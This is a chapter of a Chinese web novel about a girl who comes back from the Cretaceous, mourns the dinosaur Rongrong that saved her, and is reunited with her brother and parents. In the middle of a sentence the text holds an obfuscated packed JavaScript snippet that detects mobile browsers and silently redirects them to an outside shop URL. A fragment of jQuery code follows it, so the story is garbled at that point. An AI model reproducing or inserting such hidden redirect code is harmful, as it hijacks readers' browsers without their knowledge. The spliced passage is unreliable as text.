她不知道自己在那棵树下坐了多久。
天亮了又黑，黑了又亮。她没有吃，没有喝，没有睡。只是坐着，手里攥着那根带血的羽毛和那个脏兮兮的玩偶。眼睛肿得睁不开，嗓子哑得说不出话，脑袋昏昏沉沉的，像灌了铅。但她没有倒下。她坐在那里，等。
等什么？她也不知道。也许是等裂缝再次打开，也许是等绒绒从光里飞出来，也许是等有人来找她。她不知道。她只是坐着，看着那个坑。坑里长满了草，绿油油的，在风里摇。她看着那些草，想起了白垩纪的蕨类。小角喜欢吃蕨类。小角现在在吃什么？有没有找到吃的？绒绒的翅膀还疼不疼？小智有没有偷到坚果？
她想不下去了。眼泪又流出来了，但已经流干了，只剩眼眶酸酸的，涩涩的。
她把羽毛贴在脸上。
“绒绒。”她哑着嗓子说。声音小得像蚊子叫。
没有人回答。
远处传来鸟叫声，不是白垩纪的那种，是现代的那种——麻雀，叽叽喳喳的。她听着那些鸟叫，想起了小智的“啾”。小智的叫声比麻雀细，比麻雀尖，比麻雀好听。她想听小智叫。她听不到了。
她把玩偶举到眼前。玩偶脏兮兮的，羽毛打结了，翅膀歪了，脖子也歪了。她看着它，想起了林小北。他送她玩偶的时候说：“以后绒绒就代替我保护你了。”绒绒真的保护她了。保护了很多很多次。最后一次，把它自己搭进去了。
“林小北。”她对着玩偶说。“你妹回来了。你妹好想你。”
她闭上眼睛。脑袋很重，身体很轻，像一片快要飘走的叶子。她知道自己快要晕过去了，但她不想晕。她想等。等林小北来。她知道他会来的。他一定在找她。找了一百多天，他不会放弃的。
她撑着。不让自己倒下。
又过了不知道多久，她听到了声音。不是鸟叫，不是风声，是人的声音。
“小禾——小禾——你在哪里——”
那声音很远，很轻，像是从另一个世界传来的。她猛地睁开眼睛，心脏狂跳。那个声音——她听了十六年，不会认错。
“林小北！”她想喊，但嗓子发不出声音。声带像被砂纸磨过，只能发出气声，“嘶——嘶——”她用尽力气，站起来，腿在抖，站不稳，扶住树干。她深吸了一口气，用胸腔的力量挤出一个字：“北——”
声音很小，小到她自己都快听不到。但远处的声音停了。然后更近了。
“小禾！是你吗？！”
她听到了脚步声，急促的，踩在落叶上，沙沙沙。一个人从树林里跑出来。瘦了，头发乱糟糟的，眼睛肿着，脸上全是泪痕和泥土。穿着校服，校服脏了，膝盖上破了一个洞。他跑出来的时候，踩到了一根树枝，差点摔倒，踉跄了一下，稳住，继续跑。
他看到了她。
站在几步远的地方，愣住了。看着她，嘴巴张开着，眼睛瞪得很大。他的嘴唇在抖，手在抖，整个人都在抖。
她看着他。她想说“我回来了”，想说“你别哭”，想说“我没事”。但她说不出话来。嗓子哑了，眼泪涌出来了，什么都说不出来。
她只是站在那里，看着他。
林小北走过来。走得很慢，一步一步的，像是怕吓到她。走到她面前，伸出手，想摸她的脸。手伸到一半，停住了。他看着她的样子——瘦得脱了相，脸上全是泥和泪痕，嘴唇干裂出血，眼睛肿得像核桃，头发打结了，衣服破了好几个洞，脚上包着兽皮，像野人。他的眼泪掉下来了。
“小禾。”他的声音在抖。“你跑哪去了？”
她张了张嘴。想说“白垩纪”，想说“恐龙世界”，想说“我穿越了”。但她说出来的只有三个字。
“绒绒没了。”
声音很小，小到几乎听不到。但林小北听到了。他愣住了。“什么？”
“绒绒没了。”她又说了一遍。这次声音大了一点，但哑得厉害，像砂纸刮玻璃。“它把我送回来了。它自己没回来。”
她把手里的羽毛举到他面前。白色的，带血的，干了的血迹变成暗褐色。她的手在抖，羽毛也在抖。
林小北看着那根羽毛，没有问这是什么，没有问绒绒是谁。他只是接过那根羽毛，小心地放进口袋里，然后一把抱住她。
抱得很紧。紧到她的肋骨疼，紧到她喘不上气。他把脸埋在她的头发里，哭了。不是无声地哭，是很大声地哭，像一个小孩。肩膀一抽一抽的，哭得整个人都在抖。
“你跑哪去了——你跑哪去了——我找了你一百多天——”他的声音闷在她的头发里，断断续续的。“妈天天哭——爸瘦了二十斤——大哥从学校跑回来——警察说你可能已经——我不信——我知道你还活着——我知道——”
她听着他的话，眼泪流得更厉害了。她把脸埋在他的胸口，哭了出来。不是无声地哭，是很大声地哭，像一个小孩。她把一百多天的害怕、孤独、绝望、想念，全部哭了出来。
“绒绒没了——小角没了——小智没了——它们都没了——”她哭着说，声音断断续续。“绒绒为了救我——它飞过来了——翅膀被打穿了——它把我甩出来了——它自己没出来——”
林小北没有说话。他只是抱着她，一只手搂着她的腰，一只手按着她的后脑勺，把她的脸按在自己肩膀上。他的眼泪滴在她的头发上，一滴一滴的。
“回来就好。”他哑着嗓子说。“回来就好。”
他们抱了多久，她不知道。也许是一分钟，也许是十分钟。身后传来脚步声，两个穿制服的警察从树林里跑出来，气喘吁吁的。他们看到林小北抱着一个人，愣了一下，然后快步走过来。
“是她吗？”一个警察问。
林小北抬起头，点了点头。他的眼睛红红的，鼻子红红的，脸上全是泪。“是我妹。林小禾。”
警察蹲下来，看了看她。她的样子让他们皱起了眉——瘦，黑，脏，脚上包着兽皮，身上穿着兽皮做的衣服，手里攥着一个脏兮兮的玩偶。不像是走失了一个多月的城市女孩，倒像是从原始森林里跑出来的野人。
“林小禾？你能听到我说话吗？”警察轻声问。
她抬起头，看着警察。她想说“能”，但嗓子发不出声音。她点了点头。
警察看了林小北一眼。林小北说：“她嗓子哑了，说不了话。”
警察又问：“你有没有受伤？哪里疼？”
她摇了摇头。她浑身都疼，但不是那种需要去医院的那种疼。是累了，饿了，哭了太久的疼。她不想去医院。她想回家。
她从林小北怀里挣脱出来，用气声说了两个字：“回家。”
林小北听懂了。他点了点头，对警察说：“她想回家。”
警察犹豫了一下。“她需要去医院检查一下。”
她摇头。更用力地摇头。她不要医院。她要回家。她要吃妈妈做的红烧肉。她要躺在自己的床上。她要抱着被子哭。
林小北看着她摇头的样子，眼眶又红了。他对警察说：“先让她回家。明天再去医院。”
警察看了看她，又看了看林小北，点了点头。“行。我们先送你们回去。”
林小北扶着她站起来。她的腿在抖，站不稳，整个人靠在他身上。他一只手搂着她的腰，另一只手把她的胳膊搭在自己肩膀上。她太轻了，轻得像一把骨头。他在心里骂了一句脏话，眼泪又掉下来了。
他们走出树林。路边停着一辆警车，蓝白色的，在阳光下闪着光。她看着那辆车，愣了几秒钟。她已经一百多天没见过车了。在白垩纪，她见过的最快的交通工具是绒绒。现在看到车，她觉得不真实，像在看电视。
林小北打开车门，扶她坐进去。她坐在后座上，靠在椅背上。座椅是软的，比白垩纪的任何地方都软。她靠在上面，觉得整个人都要陷进去了。
林小北坐进她旁边，关上门。警察坐在前面，发动了车。引擎的声音响起来，很低，很稳。她被那个声音吓了一跳——她已经一百多天没听过引擎声了。在白垩纪，她听到的最大的声音是恐龙的叫声和风暴的呼啸。引擎声让她觉得陌生，又觉得安心。因为这是现代的声音。这是家的声音。
车开动了。窗外的风景往后退——树林，草地，路牌，房屋。她看着那些东西，眼睛一刻不停地看。她想把所有的东西都看一遍——柏油路，路灯，电线杆，红绿灯，行人，自行车，广告牌。这些都是她熟悉的东西，但现在看起来像第一次见。她已经一百多天没见过这些了。
她的手一直攥着那个玩偶。另一个手里攥着那根羽毛——林小北把那根羽毛还给她了。她握着它们，握得很紧。
车开了大概二十分钟，进了一个小区。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758761|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
认得这个小区。她在这里住了十六年。楼下的花坛，门口的保安亭，单元门上的铁锈。她都认得。
车停在单元门口。林小北扶她下车。她站在楼下，仰头看着那扇窗户——四楼，左边第二扇。窗帘是拉着的，她看不到里面。但她知道，妈妈在里面。爸爸在里面。大哥也许也在里面。
她的眼眶又红了。
林小北按了门铃。门开了，传来妈妈的声音：“谁啊？”
“妈，是我。小北。”林小北的声音在抖。“我找到小禾了。”
门里面静了两秒钟。然后传来急促的脚步声，门从里面猛地拉开。妈妈站在门口，围着围裙，手里拿着锅铲。她看到林小禾的一瞬间，锅铲掉在地上，“咣当”一声。她的手捂住嘴，眼泪一下子就涌出来了。
“小禾——”她的声音在抖，抖得不成样子。“小禾——我的小禾——”
她冲过来，一把抱住她。抱得很紧，紧到她喘不上气。妈妈的身体在抖，围裙上沾着油渍，头发乱糟糟的。她在家里等了一百多天，等了无数个日夜，等到了。
“你去哪了——你去哪了——妈以为你死了——”妈妈哭得上气不接下气。
她想说“妈我回来了”，想说“妈别哭了”。但她说不出来。嗓子哑了，眼泪涌出来了，她只能趴在妈妈肩膀上哭。
爸爸从屋里走出来，站在门口，看着她们。他的眼眶红了，嘴唇在抖。他走过来，伸手摸了摸她的头。他的手在抖。
“回来了就好。”他哑着嗓子说。“回来了就好。”
大哥从房间里冲出来，光着脚，头发乱糟糟的。他看到她的样子，愣住了。然后他走过来，拍了拍她的肩膀，什么话都没说。但他的眼睛红了。
她看着他们——妈妈，爸爸，大哥，林小北。都在。一个都没少。她回来了。
她被扶着进了屋，坐在沙发上。沙发是旧的，棕色的，靠垫有点塌。她坐在上面，觉得整个人都被裹住了。软，暖，安全。
妈妈去厨房端来了红烧肉。热腾腾的，橙红色的，油亮亮的。她看着那碗红烧肉，眼泪又掉下来了。她在白垩纪想了一百多天，终于见到了。
她拿起筷子，夹了一块，放进嘴里。甜，咸，软，糯。是妈妈的味道。她嚼着嚼着，哭了。哭着哭着，笑了。她一边哭一边笑一边吃。
妈妈看着她，也哭了。爸爸坐在旁边，什么都不说，只是看着她。大哥给她倒了一杯水，放在她手边。林小北坐在她旁边，把那根羽毛从口袋里拿出来，放在桌子上。
“这是她在树林里攥着的。”他对家人说。“她说——绒绒没了。”
家人都愣住了。他们不知道绒绒是谁，不知道她这一百多天经历了什么。但他们没有问。只是陪着她。
她吃完了那碗红烧肉。又吃了一碗。又喝了一杯奶茶——林小北叫的外卖，温的，甜的。她喝着奶茶，想起了白垩纪。
想起了绒绒歪头看她的样子。想起了小角用头拱她的手。想起了小智蹲在她肩膀上缩成一团。想起了那些再也回不去的日子。
她把奶茶放在桌子上，从背心里摸出那个玩偶。玩偶脏兮兮的，羽毛打结了。她把玩偶贴在脸上。
“绒绒。”她轻声说。
没有人回答。但窗外有风吹过，树叶沙沙响。她看着窗外，看到了天空。灰白色的，云层很厚。没有裂缝，没有光，没有绒绒。
但她知道，它在。
它在某个地方。在另一个时空，在白垩纪，在裂缝的另一边。它在等她。
她把玩偶和羽毛放在一起，放在枕头旁边。然后躺在床上。床是软的，被子是暖的。她盖着被子，看着天花板。天花板是白色的，有一道细细的裂缝——不是时空裂缝，是房子老了，墙皮脱落。
她看着那道裂缝，看了很久。
“晚安，绒绒。”她轻声说。
然后她闭上眼睛。
她回家了。
但她的心，还在那里。
白垩纪，大概第一百天。
现代，她回来了。
绒绒没回来。
但她会等。
等有一天，裂缝再打开。
等有一天，她能回去找它。
她闭上眼睛，睡着了。
手里还攥着那根带血的羽毛。
攥得很紧。